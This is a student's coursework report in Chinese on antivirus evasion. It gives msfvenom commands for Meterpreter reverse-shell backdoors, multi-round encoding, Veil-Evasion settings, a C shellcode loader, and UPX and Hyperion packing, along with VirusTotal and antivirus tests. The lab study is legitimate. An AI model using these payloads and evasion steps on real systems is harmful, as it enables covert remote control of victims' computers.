20164317《網絡對抗技術》Exp3 免殺原理與實踐
一、實驗要求
1.1 正確使用msf編碼器(0.5分),msfvenom生成如jar之類的其他文件(0.5分),veil-evasion(0.5分),加殼工具(0.5分),使用shellcode編程(1分)
1.2 通過組合應用各種技術實現惡意代碼免殺(0.5分) (如果成功實現了免殺的,簡單語言描述原理,不要截圖。與殺軟共生的結果驗證要截圖。
1.3 用另一電腦實測,在殺軟開啟的情況下,可運行並回連成功,註明電腦的殺軟名稱與版本(加分0.5)
二、實驗內容
任務一:正確使用msf編碼器,msfvenom生成如jar之類的其他文件,veil-evasion,自己利用shellcode編程等免殺工具或技巧;
1、使用msf編碼器
通過上個實驗中學到的命令生成後門程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168. 1.115 LPORT=4317 -f
exe > met.exe
將生成的程序上傳到virus total試試結果
使用msf編碼器對後門程序編碼10次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b
‘\x00’ LHOST=192.168.1.115 LPORT=4317 -f exe > met-encoded10.exe
再上傳到virus total
試試免殺操作是否有效
2、使用msfvenom生成jar
使用Java後門程序生成命令
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.1.115 lport=4317 x>
20164317_backdoor_java.jar
3、使用msfvenom生成php
使用php後門程序生成命令msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.115 lport=4317 x> 20164317_backdoor.php
4、使用veil-evasion
設置veil
use evasion
use 7
set LHOST 192.168.1.115
set LPORT 4317
然後輸入後門程序的文件名
於是把它掛上virus total
看看表現如何
利用shellcode編程
- 先執行shellcode生成命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.115 LPORT=4317 -f c
得到shellcode
任務二:Linux平臺交叉編譯Windows應用
1、使用交叉編譯
新建.c文件,將shellcode和c代碼組合到一起
vim 4317met.c unsigned char buf[] = 將shellcode替換到此處 int main() { int (*func)() = (int(*)())buf; func(); }
執行
i686-w64-mingw32-g++ 4317met.c -o 4317met.exe
編譯成exe文件
然後把它掛上virus total測一下,沒查出來
加壓縮殼
1 upx 4323.exe -o cal_4317.exe
使用加密殼(Hyperion)
將上一個生成的文件拷貝到/usr/share/windows-binaries/hyperion/目錄中
進入目錄/usr/share/windows-binaries/hyperion/中
輸入命令
wine hyperion.exe -v 4317_upxed.exe 4317_upxed_hyperion.exe
進行加殼
實現免殺
任務三:用另一電腦實測,在殺軟開啟的情況下,可運行並回連成功,註明電腦的殺軟名稱與版本
實驗環境:被控機是win7虛擬機,裝有金山毒霸
(我保留了用vs編譯的最初c+shellcode版本,以及在此基礎上加壓縮殼的版本、再加加密殼的版本。一共三個版本,回連失敗)
- 本機打開msf控制臺,開始監聽
- 受控機運行後門程序
- 版本號
-
三、基礎問題回答
1、殺軟是如何檢測出惡意代碼的?
- 特征碼掃描
- 啟發式掃描
- 虛擬機技術
- 主動防禦技術
- 自免疫技術
-
2、免殺是做什麽的?
使惡意代碼逃過殺毒軟件的查殺
3、免殺的基本方法有哪些?
- msfvenom直接生成
- msfvenom編碼一次
- msfvenom多次編碼
- veil-evasion
- 半手工生成shellcode
- 加殼(壓縮殼,加密殼)
-
4、開啟殺軟能絕對防止電腦中惡意代碼嗎?
當然不行,即便是開始直接生成的後門程序測試中也有殺軟找不出來呢。
四、實驗中遇到的問題
1、安裝veil-evasion過程中出現很多彈窗提示你安裝,但是裏面的字卻又是方框,編碼錯誤顯示不出來。
解決:在安裝之除就選擇s靜默安裝,一切由系統自己設置安排。
2、虛擬機ping不通別的實體機
解決:把虛擬機網卡設置改為橋接模式就可以了 -
五、實驗總結與體會
此次實驗讓我對免殺技術有了新的認識,比如通過不同的編程語言重寫、多次編碼等,都是十分新鮮的東西。不過也讓我認識到安裝殺軟有時候可能並沒有什麽用,它只能按照已有的特征碼或者比較有效的啟發式鑒別木馬和後門程序,雖然病毒庫隨時都在更新,但像實驗中剛做出來的後門程序肯定不在病毒庫之列,於是它就可以為所欲為。本次實驗難度比較大,嘗試了很多方法也沒法實現,殺毒軟件的功能還是很強的,很多次嘗試都沒有成功,推測還是shellcode出問題了。
20164317《網絡對抗技術》Exp3 免殺原理與實踐